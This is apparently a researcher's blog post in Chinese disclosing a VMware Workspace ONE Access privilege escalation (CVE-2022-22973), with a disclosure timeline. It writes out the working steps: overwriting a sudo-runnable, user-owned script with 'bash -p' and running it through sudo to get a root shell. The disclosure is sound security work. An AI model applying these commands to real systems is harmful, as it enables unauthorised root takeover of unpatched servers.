VMWare Security advisories:https://www.vmware.com/security/advisories/VMSA-2022-0014.html
這個漏洞其實是在一個因緣際會下發現的,當初我在研究 CVE-2022-22954,一個 VMware Workspace ONE Access Freemarker 的 SSTI to RCE 漏洞。
後來剛好跟朋友借到一台有洞的 Server 來測試 Exploit,就順利的 RCE 了,接下來,我接回了 Reverse Shell 想試著觀察 Server 內部的檔案結構跟原始碼,發現了當前使用者是 horizon
。
Service 使用較低權限的使用者來執行,可以保障系統的安全。 當然,入侵的駭客也會嘗試透過各種方式來試著進行提權到 ROOT, 這次使用到的技巧完全是我今年 4/13 在台科資安社有提到的,他的構成其實非常簡單。 這個梗也常常出現在 Hack The Box 或 Try Hack Me,應該是 Easy 等級的題目,不過在 Real World 出現真的是滿神奇的事情。
提權不外乎, Kernel Exploit (Binary) 系列,或是 Misconfiguration,本次這個漏洞就只是一個程式開發時的小小設定錯誤。
當拿到一台 Linux 的低權限 Shell ,通常我的起手是會先 whoami
,觀察使用者名稱;接下來會試著使用 sudo -l
觀察使用者有沒有機會透過 sudo
來搞事。
接下來就發現了一個酷東東,也就是最下面一行的
/opt/vmware/certproxy/bin/certproxyService.sh
horizon 使用者可以使用 sudo 執行該 Script,並且不需要輸入密碼,而另外一個重點是,觀察這個 Script 會發現檔案權限的設定有問題,這個檔案的所屬擁有者就是我們自己 (horizon),因此我們可以任意竄改裡面的檔案內容。
偷看一下檔案可以知道,這是 VMWare 的一個 Script,主要用於操作 Service 的啟動、停止,因此才設定了 sudo 的權限給使用者。
OK,到這邊,應該大多數人就已經知道可以如何做提權了,下面就是簡易的提權步驟。
第 1 步,把這個檔案給備份一下,方便未來還原
cp /opt/vmware/certproxy/bin/certproxyService.sh /tmp
第 2 步,我們直接把這個 Script 複寫成 bash,因為我們有寫入權限
echo 'bash -p' > /opt/vmware/certproxy/bin/certproxyService.sh
第 3 步, sudo 執行它
sudo /opt/vmware/certproxy/bin/certproxyService.sh
接下來,我們就順利的得到我們的 Root Shell ,提權也就成功ㄌ ! 94 這麼簡單
當然,還原的話就把檔案丟回去即可
cat /tmp/certproxyService.sh > /opt/vmware/certproxy/bin/certproxyService.sh
在回報的過程中, VMWare Security 的團隊一直都非常快的就回應了,在過程中,他就有跟我說,有另外一位研究員也同時回報了這個漏洞。我猜想應該是因為我們的思路差不多,都是在測試 CVE-2022-22954 的過程中,不小心就提權了,因為這個情境與實作真的是滿簡單的,差不多醬子
時間線
- 2022 / 4 / 16 發現漏洞,通知 VMWare Security Team
- 2022 / 4 / 19 VMWare 通知,他們開始調查
- 2022 / 4 / 27 VMWare 通知,他們成功復現,正在處理
- 2022 / 5 / 5 VMWare 通知,問我要不要把名字寫在 Acknowledged
- 2022 / 5 / 10 VMWare 通知,另外一位研究員也發現一樣的洞
- 2022 / 5 / 18 正式公開 VMSA-2022-0014 / CVE-2022-22973